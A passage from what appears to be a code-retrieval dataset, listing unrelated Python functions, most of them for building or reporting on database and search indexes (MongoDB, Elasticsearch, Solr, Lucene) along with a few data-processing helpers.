index_field[1] == '2d':\\r\\n supported = False\\r\\n break\\r\\n\\r\\n if field_name not in all_fields:\\r\\n break\\r\\n\\r\\n if query_fields_covered == 0:\\r\\n coverage = 'partial'\\r\\n\\r\\n if query_fields_covered < max_equiv_seq:\\r\\n if field_name not in equiv_fields:\\r\\n ideal_order = False\\r\\n elif query_fields_covered < max_sort_seq:\\r\\n if field_name not in sort_fields:\\r\\n ideal_order = False\\r\\n elif query_fields_covered < max_range_seq:\\r\\n if field_name not in range_fields:\\r\\n ideal_order = False\\r\\n query_fields_covered += 1\\r\\n if query_fields_covered == query_field_count:\\r\\n coverage = 'full'\\r\\n\\r\\n # INDEX REPORT\\r\\n return OrderedDict({\\r\\n 'coverage': coverage,\\r\\n 'idealOrder': ideal_order,\\r\\n 'queryFieldsCovered': query_fields_covered,\\r\\n 'index': index,\\r\\n 'supported': supported\\r\\n })\",\n \"def create_index(self, table_name, index, timeout):\\n _abstract()\",\n \"def create_index(self, table_name, index, timeout):\\n _abstract()\",\n \"def _generate_index_report(self, index, query_analysis):\\n\\n all_fields = []\\n equiv_fields = []\\n sort_fields = []\\n range_fields = []\\n\\n for query_field in query_analysis['analyzedFields']:\\n all_fields.append(query_field['fieldName'])\\n if query_field['fieldType'] is EQUIV_TYPE:\\n equiv_fields.append(query_field['fieldName'])\\n elif query_field['fieldType'] is SORT_TYPE:\\n sort_fields.append(query_field['fieldName'])\\n elif query_field['fieldType'] is RANGE_TYPE:\\n range_fields.append(query_field['fieldName'])\\n\\n max_equiv_seq = len(equiv_fields)\\n max_sort_seq = max_equiv_seq + len(sort_fields)\\n max_range_seq = max_sort_seq + len(range_fields)\\n\\n coverage = 'none'\\n query_fields_covered = 0\\n query_field_count = query_analysis['fieldCount']\\n supported = True\\n ideal_order = True\\n for index_field in index['key']:\\n field_name = index_field[0]\\n\\n if index_field[1] == '2d':\\n supported = False\\n break\\n\\n if field_name not in all_fields:\\n break\\n\\n if query_fields_covered == 0:\\n coverage = 'partial'\\n\\n if query_fields_covered < max_equiv_seq:\\n if field_name not in equiv_fields:\\n ideal_order = False\\n elif query_fields_covered < max_sort_seq:\\n if field_name not in sort_fields:\\n ideal_order = False\\n elif query_fields_covered < max_range_seq:\\n if field_name not in range_fields:\\n ideal_order = False\\n query_fields_covered += 1\\n if query_fields_covered == query_field_count:\\n coverage = 'full'\\n\\n # INDEX REPORT\\n return OrderedDict({\\n 'coverage': coverage,\\n 'idealOrder': ideal_order,\\n 'queryFieldsCovered': query_fields_covered,\\n 'index': index,\\n 'supported': supported\\n })\",\n \"def createIndex(self):\\n\\n super(COCO_PLUS, self).createIndex()\\n catNameToId = dict()\\n pointclouds = dict()\\n imgToPc = dict()\\n\\n if 'pointclouds' in self.dataset:\\n for pc in self.dataset['pointclouds']:\\n imgToPc[pc['img_id']] = pc\\n pointclouds[pc['id']] = pc\\n\\n if 'categories' in self.dataset:\\n for cat in self.dataset['categories']:\\n catNameToId[cat['name']] = cat['id']\\n\\n self.catNameToId = catNameToId\\n self.pointclouds = pointclouds\\n self.imgToPc = imgToPc\\n self.logger.info('index created.')\",\n \"def add_taxonomy(tax_idx, pkl):\\n for tax,v in tax_idx.items():\\n for genome_id,genome_len in v.items():\\n T = '|'.join(list(tax) + ['t__' + genome_id])\\n pkl['taxonomy'][T] = ('', int(genome_len))\\n return pkl\",\n \"def create_index():\\n try:\\n client = MongoClient(MONGO_URI,event_listeners=[CommandLogger()])\\n db = client.get_database('UNSD')\\n \\n coll_unfcc = db.get_collection('unfcc')\\n coll_ebal = db.get_collection('ebal')\\n result_unfcc = coll_unfcc.create_index([('REF_AREA',ASCENDING),('TIME_PERIOD',DESCENDING)])\\n result_ebal = coll_ebal.create_index([('REF_AREA',ASCENDING),('TIME_PERIOD',DESCENDING)])\\n except pymongo.errors.ConnectionFailure as e:\\n logger.error('PyMongo error ConnectionFailure seen: ' + str(e))\\n traceback.print_exc(file = sys.stdout)\",\n \"def save_index(self, fn):\\n utils.save_obj(self.tweetTerms, \\\"TweetTerm_%s\\\" % (self.counterOfTweetTermsFiles))\\n self.computeTfIdf(self.counterOfTweets)\\n self.deleteSingleEntities()\\n inv_dict = {'inverted_idx': self.inverted_idx, 'posting': self.postingFiles}\\n utils.save_obj(inv_dict, fn)\",\n \"def write_index(self):\\n self.Lock = True\\n self.file_out.seek(self.index_offset)\\n for identifier, offset in self.index.items():\\n self._write_identifier(identifier)\\n self._write_offset(offset)\",\n \"def make_filtered_field(ds, fieldname, filter_fields = [], tolerance = tol):\\n def _filtered_field(field, data):\\n x = data[('gas',fieldname)]\\n\\n select = data[filter_fields[0]] < 0\\n for f in filter_fields:\\n select = select + (data[f] < tolerance)\\n x[select] = np.nan\\n\\n return x\\n\\n ds.add_field(('gas',fieldname + '_filtered'), function = _filtered_field, units = \\\"\\\")\\n return\",\n \"def create_index(self):\\r\\n\\r\\n #### Begin functionality here\\r\\n\\r\\n return()\",\n \"def create_index(self, db_name):\\n\\t\\tindex_func_path = self._get_index_func_filepath(db_name)\\n\\t\\t\\n\\t\\tif os.path.isfile(index_func_path):\\n\\t\\t\\t# create index request payload from predefined file\\t\\n\\t\\t\\twith open(index_func_path, 'r') as content_file:\\n\\t\\t\\t\\tpayload = content_file.read()\\n\\t\\t\\n\\t\\t\\tprint (\\\"Create index using function in: {}\\\".format(index_func_path))\\n\\t\\t\\turl = \\\"https://{}/{}/_design/view\\\".format(\\n\\t\\t\\t\\tself.cloudanthost, db_name)\\n\\t\\t\\tresponse = self.r.put(url, data=payload)\\n\\t\\t\\tassert response.status_code == 201\",\n \"def add(self, name, index = None):\\n if index is None:\\n while self.indexDict.has_key(self.count):\\n self.count += 1\\n index = self.count\\n self.fieldDict[name] = index\\n self.indexDict[index] = name\",\n \"def index(self, index):\\n index.column_protein[self.column].add((self.protein,self.protein_res))\\n index.protein_domain[(self.protein.id,self.protein_res)] = (self.domain,self.domain_res)\\n index.domain_structure[(self.domain.id,self.domain_res)].add((self.structure,self.structure_res))\\n index.structure[(self.structure.index, self.structure_res)] = self\",\n \"def test_total_totals_index():\\n pressure = np.array([1008., 1000., 947., 925., 921., 896., 891., 889., 866.,\\n 858., 850., 835., 820., 803., 733., 730., 700., 645.,\\n 579., 500., 494., 466., 455., 441., 433., 410., 409.,\\n 402., 400., 390., 388., 384., 381., 349., 330., 320.,\\n 306., 300., 278., 273., 250., 243., 208., 200., 196.,\\n 190., 179., 159., 151., 150., 139.]) * units.hPa\\n temperature = np.array([27.4, 26.4, 22.9, 21.4, 21.2, 20.7, 20.6, 21.2, 19.4,\\n 19.1, 18.8, 17.8, 17.4, 16.3, 11.4, 11.2, 10.2, 6.1,\\n 0.6, -4.9, -5.5, -8.5, -9.9, -11.7, -12.3, -13.7, -13.8,\\n -14.9, -14.9, -16.1, -16.1, -16.9, -17.3, -21.7, -24.5, -26.1,\\n -28.3, -29.5, -33.1, -34.2, -39.3, -41., -50.2, -52.5, -53.5,\\n -55.2, -58.6, -65.2, -68.1, -68.5, -72.5]) * units.degC\\n dewpoint = np.array([24.9, 24.6, 22., 20.9, 20.7, 14.8, 13.6, 12.2, 16.8,\\n 16.6, 16.5, 15.9, 13.6, 13.2, 11.3, 11.2, 8.6, 4.5,\\n -0.8, -8.1, -9.5, -12.7, -12.7, -12.8, -13.1, -24.7, -24.4,\\n -21.9, -24.9, -36.1, -31.1, -26.9, -27.4, -33., -36.5, -47.1,\\n -31.4, -33.5, -40.1, -40.8, -44.1, -45.6, -54., -56.1, -56.9,\\n -58.6, -61.9, -68.4, -71.2, -71.6, -77.2]) * units.degC\\n\\n tt = total_totals_index(pressure, temperature, dewpoint)\\n assert_almost_equal(tt, 45.10 * units.delta_degC, 2)\",\n \"def test_creating_index_type(self):\",\n \"def calculate(index):\\n postingl1 = [len(x[0]) for x in index[0].values()]\\n print(\\\"Number of terms in index i1 : \\\" + str(len(postingl1)) + \\\"\\\\t\\\")\\n print(\\\"Maximum Length of Postings List : \\\" + str(max(postingl1)) + \\\"\\\\t\\\")\\n print(\\\"Minimum Length of Postings List : \\\" + str(min(postingl1)) + \\\"\\\\t\\\")\\n print(\\\"Average Length of Postings List : \\\" + str(sum(postingl1) / float(len(postingl1))) + \\\"\\\\t\\\")\\n print(\\\"Size of the file that stores the index i1 : \\\" + \\\\\\n str(os.stat('invertedindex1.txt').st_size) + \\\" bytes\\\\n\\\")\\n\\n postingl2 = [len(x[0]) for x in index[1].values()]\\n print(\\\"Number of terms in index i2 : \\\" + str(len(postingl2)) + \\\"\\\\t\\\")\\n print(\\\"Maximum Length of Postings List : \\\" + str(max(postingl2)) + \\\"\\\\t\\\")\\n print(\\\"Minimum Length of Postings List : \\\" + str(min(postingl2)) + \\\"\\\\t\\\")\\n print(\\\"Average Length of Postings List : \\\" + str(sum(postingl2) / float(len(postingl2))) + \\\"\\\\t\\\")\\n print(\\\"Size of the file that stores the index i2 : \\\" + \\\\\\n str(os.stat('invertedindex2.txt').st_size) + \\\" bytes\\\\n\\\")\\n\\n postingl3 = [len(x[0]) for x in index[2].values()]\\n print(\\\"Number of terms in index i3 : \\\" + str(len(postingl3)) + \\\"\\\\t\\\")\\n print(\\\"Maximum Length of Postings List : \\\" + str(max(postingl3)) + \\\"\\\\t\\\")\\n print(\\\"Minimum Length of Postings List : \\\" + str(min(postingl3)) + \\\"\\\\t\\\")\\n print(\\\"Average Length of Postings List : \\\" + str(sum(postingl3) / float(len(postingl3))) + \\\"\\\\t\\\")\\n print(\\\"Size of the file that stores the index i3 : \\\" + \\\\\\n str(os.stat('invertedindex3.txt').st_size) + \\\" bytes\\\\n\\\")\\n\\n postingl4 = [len(x[0]) for x in index[3].values()]\\n print(\\\"Number of terms in index i4 : \\\" + str(len(postingl4)) + \\\"\\\\t\\\")\\n print(\\\"Maximum Length of Postings List : \\\" + str(max(postingl4)) + \\\"\\\\t\\\")\\n print(\\\"Minimum Length of Postings List : \\\" + str(min(postingl4)) + \\\"\\\\t\\\")\\n print(\\\"Average Length of Postings List : \\\" + str(sum(postingl4) / float(len(postingl4))) + \\\"\\\\t\\\")\\n print(\\\"Size of the file that stores the index i4 : \\\" + \\\\\\n str(os.stat('invertedindex4.txt').st_size) + \\\" bytes\\\\n\\\")\",\n \"def create_index():\\n es = Elasticsearch()\\n es.indices.delete(index='drugaid-index')\\n with open('../data_crawling/demo_drug_data-fixed.json') as f:\\n drug_data = json.load(f)\\n\\n for drug in drug_data:\\n es.index(index='drugaid-index', doc_type='drug', body=drug)\",\n \"def index_object(idxs=None):\",\n \"def __init__(self, csvfile, url, index, doc_type, username, password, chunk_size=100):\\n\\n self.csv_file = csvfile\\n self.es_url = url\\n self.es_main_index = index\\n self.es_main_type = doc_type\\n self.es = Elasticsearch(self.es_url,\\n http_auth=(username, password),\\n use_ssl=True,\\n verify_certs=True,\\n connection_class=RequestsHttpConnection)\\n self.chunk_size = chunk_size\\n\\n self.mapping = {\\n \\\"properties\\\": {\\n \\\"region\\\": {\\n \\\"type\\\": \\\"string\\\",\\n \\\"index\\\": \\\"not_analyzed\\\",\\n \\\"doc_values\\\": True,\\n \\\"fielddata\\\": {\\n \\\"loading\\\": \\\"eager_global_ordinals\\\"\\n }\\n },\\n \\\"agg_commodity\\\": {\\n \\\"type\\\": \\\"string\\\",\\n \\\"index\\\": \\\"not_analyzed\\\",\\n \\\"doc_values\\\": True,\\n \\\"fielddata\\\": {\\n \\\"loading\\\": \\\"eager_global_ordinals\\\"\\n }\\n },\\n \\\"agg_continent\\\": {\\n \\\"type\\\": \\\"string\\\",\\n \\\"index\\\": \\\"not_analyzed\\\",\\n \\\"doc_values\\\": True,\\n \\\"fielddata\\\": {\\n \\\"loading\\\": \\\"eager_global_ordinals\\\"\\n }\\n },\\n \\\"agg_subcontinent\\\": {\\n \\\"type\\\": \\\"string\\\",\\n \\\"index\\\": \\\"not_analyzed\\\",\\n \\\"doc_values\\\": True,\\n \\\"fielddata\\\": {\\n \\\"loading\\\": \\\"eager_global_ordinals\\\"\\n }\\n },\\n \\\"impactparameter\\\": {\\n \\\"type\\\": \\\"string\\\",\\n \\\"index\\\": \\\"not_analyzed\\\",\\n \\\"doc_values\\\": True,\\n \\\"fielddata\\\": {\\n \\\"loading\\\": \\\"eager_global_ordinals\\\"\\n }\\n },\\n \\\"commodity\\\": {\\n \\\"type\\\": \\\"string\\\",\\n \\\"index\\\": \\\"not_analyzed\\\",\\n \\\"doc_values\\\": True,\\n \\\"fielddata\\\": {\\n \\\"loading\\\": \\\"eager_global_ordinals\\\"\\n }\\n },\\n \\\"year\\\": {\\n \\\"type\\\": \\\"integer\\\"\\n },\\n \\\"Val\\\": {\\n \\\"type\\\": \\\"float\\\"\\n }\\n }\\n }\",\n \"def create_index(es_object, index_name):\\n created = False\\n # index settings\\n # the reason why we need mappings is avoid corrupting your data\\n settings = {\\n \\\"settings\\\": {\\n \\\"number_of_shards\\\": 1,\\n \\\"number_of_replicas\\\": 0\\n },\\n \\\"mappings\\\": {\\n # custom type called foods\\n \\\"foods\\\": {\\n \\\"properties\\\": {\\n # Specify that the food_name field contains text values.\\n \\\"food_name\\\": {\\n \\\"type\\\": \\\"text\\\",\\n \\\"fields\\\": {\\n \\\"raw\\\":{ \\n \\\"type\\\": \\\"keyword\\\"\\n } # The food_name.raw field can be used for sorting and aggregations\\n }\\n },\\n # Specify that the categories field contains text values.\\n \\\"categories\\\": {\\n \\\"type\\\": \\\"text\\\",\\n \\\"fields\\\": {\\n \\\"raw\\\":{ \\n \\\"type\\\": \\\"keyword\\\"\\n } # The categories.raw field can be used for sorting and aggregations\\n }\\n },\\n # Specify that the calories field contains integer values.\\n \\\"calories\\\": {\\n \\\"type\\\": \\\"integer\\\"\\n },\\n \\\"protein\\\": {\\n \\\"type\\\": \\\"integer\\\"\\n },\\n \\\"carbs\\\": {\\n \\\"type\\\": \\\"integer\\\"\\n },\\n \\\"fat\\\": {\\n \\\"type\\\": \\\"integer\\\"\\n }\\n \\n },\\n }\\n }\\n }\\n try:\\n if not es_object.indices.exists(index_name):\\n # Ignore 400 means to ignore \\\"Index Already Exist\\\" error.\\n es_object.indices.create(index=index_name, ignore=400, body=settings)\\n print('Created Index')\\n created = True\\n except Exception as ex:\\n print(str(ex))\\n finally:\\n return created\",\n \"def build_index(self):\\n self.rebuild_index()\",\n \"def to_index(self, index_type, index_name, includes=None):\\n return IndexField(self.name, self.data_type, index_type, index_name,\\n includes)\",\n \"def create_index(cls, engine):\\n\\n reg_imei = db.Index('reg_imei_index', cls.imei, postgresql_concurrently=True)\\n reg_imei.create(bind=engine)\\n\\n reg_normalized_imei = db.Index('reg_normalized_imei_index', cls.normalized_imei, postgresql_concurrently=True)\\n reg_normalized_imei.create(bind=engine)\",\n \"def create_index(self, dictfile):\\n\\n self.dictionary_file = dictfile\\n self.index_file = os.path.join(dictfile.split(\\\".\\\")[0] + \\\".index\\\")\\n\\n self.fp = codecs.open(self.dictionary_file, \\\"r\\\", encoding=\\\"utf-8\\\")\\n self.op = codecs.open(self.index_file, \\\"w\\\", encoding=\\\"utf-8\\\")\\n\\n # loop untill entire file is not finished\\n while True:\\n item = self.fp.readline()\\n if not item:\\n break\\n\\n # if the alphabet is currently not indexed then index it\\n # with current value of byte offset else increase the offset\\n # by the byte length of currently read word till you get\\n # new alphaet which is not indexed\\n\\n if len(item) > 0 and not item[0] in self.dictionary.keys():\\n self.dictionary[item[0]] = self.offset\\n self.offset = self.offset + len(item.encode(\\\"utf-8\\\"))\\n\\n #print \\\"Index for \\\" + self.dictionary_file + \\\" is created \\\"\\n\\n for index in self.dictionary:\\n value = self.dictionary.get(index, None)\\n if not value:\\n self.op.write(index + \\\"=%d\\\\n\\\" % value)\\n\\n # Clean up\\n self.fp.close()\\n self.op.close()\",\n \"def _compute_tax_id(self):\\n for inv in self:\\n for line in inv.invoice_line_ids:\\n line.tax_ids = line._get_computed_taxes()\\n\\n inv._recompute_dynamic_lines(recompute_all_taxes=True, recompute_tax_base_amount=True)\",\n \"def index_json_file(json_file, output_file, field=DEFAULT_JSON_FIELD,\\n min_chunk_size=_MIN_CHUNK_SIZE):\\n chunk_iterator = _iterate_archives(json_file, buffer_size=min_chunk_size)\\n for i, (arch, start_offset, end_offset) in enumerate(chunk_iterator):\\n _LOGGER.info('processed %s chunk, offset: %s-%s' % (i, start_offset, end_offset))\\n line_start, line_end = 0, 0\\n with gzip.open(arch, mode='rb') as json_in:\\n for line in json_in:\\n data = json.loads(line.decode(_TEXT_ENCODING))\\n line_start = line_end\\n line_end = line_start + len(line)\\n index = '%s|%s|%s|%s|%s' % (\\n data[field],\\n start_offset, end_offset - start_offset,\\n line_start, line_end - line_start,\\n )\\n output_file.write(index.encode(_TEXT_ENCODING) + b'\\\\n')\",\n \"def _commit_to_index( env_dict ):\\n from indexer.solr import adapter as adapter_file\\n\\n adapter = adapter_file.adapter(env_dict)\\n adapter.commit()\\n if env_dict[\\\"indexer\\\"][\\\"optimise\\\"]:\\n adapter.optimise(maxSegments=1)\",\n \"def create_payload_index(self, collection_name: str, field_name: str):\\n return self.openapi_client.points_api.update_points(\\n name=collection_name,\\n wait='true',\\n collection_update_operations=FieldIndexOperationsAnyOf(create_index=field_name),\\n )\",\n \"def write_sub_index(self):\\n for sie in self.subIndex:\\n self.db_file.write(sie.get_representation())\",\n \"def delete_index_field(DomainName=None, IndexFieldName=None):\\n pass\",\n \"def add_index(self, name, func):\\n assert name not in self.indices\\n info_name = 'index:%s:%s' % (self.info['name'], name)\\n info = self.store._get_info(info_name, index_for=self.info['name'])\\n index = Index(self, info, func)\\n self.indices[name] = index\\n if IndexKeyBuilder:\\n self._index_keys = IndexKeyBuilder(self.indices.values()).build\\n return index\",\n \"def _es_push_indexes(self, content):\\n for c in self.es_clients:\\n c.create_index(content)\",\n \"def store_index(self, index, doc_type, source_list, init_id):\\n\\n bulk_actions = []\\n doc_id = init_id\\n\\n for source in source_list:\\n data_body = ElasticSearchUtility.__index_data_body(index, doc_type, doc_id, source[\\\"_source\\\"])\\n bulk_actions.append(data_body)\\n doc_id += 1\\n\\n print 'inserting - ', len(bulk_actions)\\n helpers.bulk(self.es, bulk_actions)\",\n \"def index_fobj(fobj):\\n doc = fileobject_to_dict(fobj)\\n if doc is not None:\\n #print doc\\n SOLR.add(doc)\\n else:\\n pass\",\n \"def search_for(self, indexname, field, term, outfield=None):\\n url = \\\"{url_home}/{index}/{function}\\\".format(url_home=self.url_elastic, index=indexname, function=\\\"_search\\\")\\n match = {field: dict(query=term)}\\n data = dict(\\n query=match\\n )\\n res = rw.get(url, headers=self.headers, data=json.dumps(data))\\n return res\",\n \"def writeTotalIndex(map_data):\\n ids = map_data['id']\\n index = [0.0] * len(ids)\\n\\n colnames = ['cars', 'bikes', 'ages', 'parking', 'male_singles',\\n 'female_singles', 'digging', 'freeparking']\\n weights = [-0.5, 0.5, 0.1, -0.5, 1.0, 1.0, -1.0, 0.25]\\n for colname, weight in zip(colnames, weights):\\n values = map_data[colname]\\n\\n index += values * (weight / values.max())\\n\\n toJson('final', pd.DataFrame({'id': ids, 'counts': index}))\",\n \"def _save_percolator(self):\\n index = Content.search_objects.mapping.index\\n query_filter = self.get_content().to_dict()\\n\\n q = {}\\n\\n if \\\"query\\\" in query_filter:\\n q = {\\\"query\\\": query_filter.get(\\\"query\\\", {})}\\n else:\\n # We don't know how to save this\\n return\\n\\n # We'll need this data, to decide which special coverage section to use\\n if self.campaign:\\n q[\\\"sponsored\\\"] = True\\n q[\\\"start_date\\\"] = self.campaign.start_date\\n q[\\\"end_date\\\"] = self.campaign.end_date\\n\\n es.index(\\n index=index,\\n doc_type=\\\".percolator\\\",\\n body=q,\\n id=self.es_id\\n )\",\n \"def _get_ea_index():\\n ea_index_temp = {'Address': 5, 'Agency': 10, 'City': 4, 'Country': 3,\\n 'Datacenter': 7, 'Division': 8, 'Interface Name': 13,\\n 'Region_List': 2, 'Requester Email': 9, 'Site': 6,\\n 'VLAN Description': 11, 'IPR Designation': 16}\\n return ea_index_temp\",\n \"def build_index(self):\\r\\n date_time('Building indexes in citations table')\\r\\n self.cursor.execute('DROP INDEX IF EXISTS IDX_citations ;')\\r\\n self.cursor.execute('CREATE INDEX IDX_citations ON citations (citation);')\\r\\n self.conn.commit()\\r\\n gc.collect()\",\n \"def _add_as_field_if_not_in_index(\\n self, df, skilldf, fields=[\\\"model\\\", \\\"observation\\\", \\\"variable\\\"]\\n ):\\n for field in reversed(fields):\\n if (field == \\\"model\\\") and (self.n_models <= 1):\\n continue\\n if (field == \\\"variable\\\") and (self.n_variables <= 1):\\n continue\\n if field not in skilldf.index.names:\\n unames = df[field].unique()\\n if len(unames) == 1:\\n skilldf.insert(loc=0, column=field, value=unames[0])\\n return skilldf\",\n \"def WriteIndexFasta(seqWithAnno, fpdb, dbname, fpindex, cntdbfile, #{{{\\n record_offset, idSet, idtype):\\n if idtype == 0:\\n seqid = myfunc.GetSeqIDFromAnnotation(seqWithAnno)\\n elif idtype == 1:\\n seqid = myfunc.GetFirstWord(seqWithAnno.lstrip(\\\">\\\"))\\n if seqid in idSet:\\n return (fpdb, record_offset)\\n else:\\n seqWithAnno+=\\\"\\\\n\\\"\\n if fpdb == None:\\n dbfile=dbname+\\\"%d.db\\\"%(cntdbfile)\\n fpdb=open(dbfile, \\\"wb\\\")\\n print \\\"dbfile %s is created.\\\"%dbfile\\n fpindex.write(\\\"%s %d %d %d\\\\n\\\"%(seqid, cntdbfile, record_offset,\\n len(seqWithAnno)))\\n fpdb.write(\\\"%s\\\"%seqWithAnno)\\n record_offset += len(seqWithAnno)\\n idSet.add(seqid)\\n return (fpdb,record_offset)\",\n \"def calcumul_index(path,x,name_champ_label,indice2,list_drop,pathlist_names_feature):\\n sql=sqlite3.connect(path)\\n df=pd.read_sql_query(\\\"SELECT * FROM output\\\", sql)\\n df=df.groupby(\\\"originfid\\\").mean()\\n if 'band' in df.columns[6] :\\n globals()[\\\"df%s\\\"%x]=col_sqlite(path,x,list_drop,pathlist_names_feature)\\n label = globals()[\\\"df%s\\\"%x][name_champ_label]\\n globals()[\\\"%s\\\"%x]=globals()[\\\"df%s\\\"%x].astype(float)\\n print(indice2)\\n if indice2 not in ['NDVI', 'NDWI','SM','asc_vv','des_vv','asc_vh','des_vh','asc_userfeature1','des_userfeature1']:\\n name_indice=indice2\\n band1_indice=input(\\\"band ? :\\\")\\n band2_indice=input(\\\"band ? :\\\")\\n df_b1 = globals()[\\\"%s\\\"%x].filter(like=band1_indice)\\n df_b2 = globals()[\\\"%s\\\"%x].filter(like=band2_indice)\\n df_b1_col = df_b1.rename(columns=lambda x: x[-8:])\\n df_b2_col = df_b2.rename(columns=lambda x: x[-8:])\\n df_indice = (df_b2_col - df_b1_col)/(df_b2_col + df_b1_col)\\n globals()[\\\"df_%s\\\"%indice2] = df_indice.cumsum(axis=1)\\n \\n else:\\n df_indice = globals()[\\\"df%s\\\"%x].filter(like=indice2)\\n df_indice_col = df_indice.rename(columns=lambda x: x[-8:])\\n df_indice_col=df_indice_col.iloc[:-1]\\n globals()[\\\"df_%s\\\"%indice2] = df_indice_col.cumsum(axis=1)\\n \\n globals()[\\\"df_%s\\\"%indice2][name_champ_label]=label\\n globals()[\\\"df_%s\\\"%indice2]=globals()[\\\"df_%s\\\"%indice2].astype(float)\\n globals()[\\\"df_mean_%s\\\"%indice2]=globals()[\\\"df_%s\\\"%indice2].groupby(name_champ_label).mean().T \\n globals()[\\\"df_mean_%s\\\"%indice2].index=pd.to_datetime(globals()[\\\"df_mean_%s\\\"%indice2].index,format=\\\"%Y%m%d\\\")\\n else :\\n label = df[name_champ_label]\\n print(indice2)\\n if indice2 not in ['ndvi', 'ndwi','asc_vv','des_vv','asc_vh','des_vh','asc_userfeature1','des_userfeature1','SM']:\\n name_indice=indice2\\n band1_indice=input(\\\"band ? :\\\")\\n band2_indice=input(\\\"band ? :\\\")\\n df_b1 = df.filter(like=band1_indice)\\n df_b2 = df.filter(like=band2_indice)\\n df_b1_col = df_b1.rename(columns=lambda x: x[-8:])\\n df_b2_col = df_b2.rename(columns=lambda x: x[-8:])\\n df_indice = (df_b2_col - df_b1_col)/(df_b2_col + df_b1_col)\\n globals()[\\\"df_%s\\\"%indice2] = df_indice.cumsum(axis=1)\\n \\n else:\\n df_indice = df.filter(like=indice2)\\n df_indice_col = df_indice.rename(columns=lambda x: x[-8:])\\n globals()[\\\"df_%s\\\"%indice2] = df_indice_col.cumsum(axis=1)\\n \\n globals()[\\\"df_%s\\\"%indice2][name_champ_label]=label\\n globals()[\\\"df_mean_%s\\\"%indice2]=globals()[\\\"df_%s\\\"%indice2].groupby(name_champ_label).mean().T\\n globals()[\\\"df_mean_%s\\\"%indice2].index=pd.to_datetime(globals()[\\\"df_mean_%s\\\"%indice2].index,format=\\\"%Y%m%d\\\")\\n return globals()[\\\"df_mean_%s\\\"%indice2], globals()[\\\"df_%s\\\"%indice2]\",\n \"def _index(self):\\n return es.index(CLUSTER_NAME, 'record', self.dict, id=self.uuid)\",\n \"def insert(input_json): \\n client, index_name = connection_es()\\n datetime_ = datetime.datetime.now().strftime(\\\"%Y.%m.%d_%H:%M:%S\\\")\\n fs_metadata_name = index_name+datetime_\\n res = client.index(index = fs_metadata_name, doc_type = 'nvisnx', body = input_json)\\n return res\",\n \"def field_index(self, field):\\r\\n idx = self.fields.index(field)\\r\\n if self.index:\\r\\n idx = self.index[idx]\\r\\n return idx\",\n \"def generate_inv_index(people):\\n pass\",\n \"def step010():\\n logger.logMessage('Begin: Getting candidate documents from elasticsearch')\\n\\n def limitHour(d):\\n thish = d.start_time.tz_localize(tz='UTC')\\n nexth = thish + dt.timedelta(hours=1)\\n return { 'range': { 'time': {'gte':thish, 'lt':nexth } } }\\n \\n conn = sql.create_engine(pgurl)\\n client = es.Elasticsearch(hostlist)\\n dupesDF = pd.read_sql_table('weather_dupes',conn).set_index('time')\\n hours =dupesDF.to_period('H').reset_index()['time'].unique()\\n ranges = [ limitHour(h) for h in hours ]\\n query = { \\n '_source': [ 'tsa','time' ],\\n 'query': { \\n 'bool': { 'should': ranges } \\n } \\n }\\n #logger.logMessage(level='DEBUG',message='Query body: {0}'.format(query))\\n hits = eshelp.scan(client=client,index=indexName,doc_type='doc',query=query)\\n numRecs = 0\\n with open(candidatesFile,'w') as f:\\n for h in hits:\\n src = h['_source']\\n tsa = int(src['tsa'])\\n time = src['time']\\n docid = h['_id']\\n idx = h['_index']\\n f.write(f'{tsa:014d};{time:25s};{docid:32s};{idx:32s}\\\\n') \\n numRecs += 1\\n if numRecs % 1000 == 0:\\n logger.logMessage(level='DEBUG',message=\\\"{0:9d} records written\\\".format(numRecs))\\n logger.logMessage(message=\\\"{0:9d} total records written\\\".format(numRecs))\\n logger.logMessage('End: Getting candidate documents from elasticsearch')\",\n \"def save_index(self, fn):\\n utils.save_obj(self.inverted_idx, fn)\",\n \"def _compute_tax(self):\\n for line in self:\\n line.tax = (line.amount_untaxed * 14) / 100\",\n \"def indexCranFull(path, writer):\\n # Title field type\\n tft = FieldType()\\n tft.setIndexed(True)\\n tft.setStored(True)\\n tft.setTokenized(TokenizeFields)\\n tft.setIndexOptions(FieldInfo.IndexOptions.DOCS_AND_FREQS) #only index the document and frequency data\\n\\n\\n # Author field type\\n aft = FieldType()\\n aft.setIndexed(True)\\n aft.setStored(True)\\n aft.setTokenized(TokenizeFields)\\n aft.setIndexOptions(FieldInfo.IndexOptions.DOCS_AND_FREQS_AND_POSITIONS) #index the document, term frequency and position data\\n\\n\\n # Content field type\\n cft = FieldType()\\n cft.setIndexed(True)\\n cft.setStored(True)\\n cft.setTokenized(True)\\n cft.setIndexOptions(FieldInfo.IndexOptions.DOCS_AND_FREQS_AND_POSITIONS)\\n\\n txt = open(path)\\n \\\"\\\"\\\"\\n cran documents are listed in this order:\\n .I # -> ignore\\n .T -> starting on the next line, multi-line title\\n .A -> on the next line, multiple authored separated by 'and'\\n .B -> on the next line, ignore\\n .W -> starting on the next line, multi-line body (content)\\n \\\"\\\"\\\"\\n docid = 0\\n debug = False\\n while True: # in each iteration, read all the lines corresponding to a document\\n line = txt.readline()\\n\\n if line == '':\\n break\\n\\n if docid == 1400:\\n debug = True\\n\\n if line.startswith('.I'):\\n docid = int(line.split(' ')[1].strip())\\n continue\\n\\n if line.startswith('.T'):\\n title = ''\\n while True:\\n line = txt.readline()\\n if line.startswith('.A'):\\n break\\n title = ' '.join([title, line]).strip()\\n\\n line = txt.readline()\\n # authors = ' '.join(line.split('and'))\\n authors = line.strip()\\n\\n #.B, its corresponding line and .W\\n txt.readline()\\n txt.readline()\\n txt.readline()\\n body = ''\\n while True:\\n line = txt.readline()\\n if line.startswith('.I'):\\n docid = int(line.split(' ')[1].strip())\\n break\\n if line == '':\\n break\\n body = ' '.join([body, line]).strip()\\n\\n doc = Document()\\n doc.add(Field(title_field, title, tft))\\n doc.add(Field(author_field, authors, aft))\\n doc.add(Field(content_field, body, cft))\\n doc.add(IntField(docid_field, docid, Field.Store.YES))\\n writer.addDocument(doc)\",\n \"def index(self, name, file, passages, index_name=\\\"default\\\"):\\n raise NotImplementedError()\",\n \"def clean_and_save_country(country_name, df):\\n drop_columns = ['Lat', \\n 'Long', \\n 'Province/State']\\n\\n df.drop(columns=drop_columns, inplace = True)\\n df_group = df.groupby(['Country/Region'])\\n\\n country = df_group.get_group(country_name)\\n country.drop(columns = ['Country/Region'], inplace=True)\\n country = country.agg(['sum'])\\n country = country.T\\n country.reset_index(level=0, inplace=True)\\n country['index'] = pd.to_datetime(country['index'])\\n country.rename(columns={'index': 'date'}, inplace=True)\\n\\n country.to_csv('../data/' + country_name + '_timeseries.csv', index=False)\",\n \"def 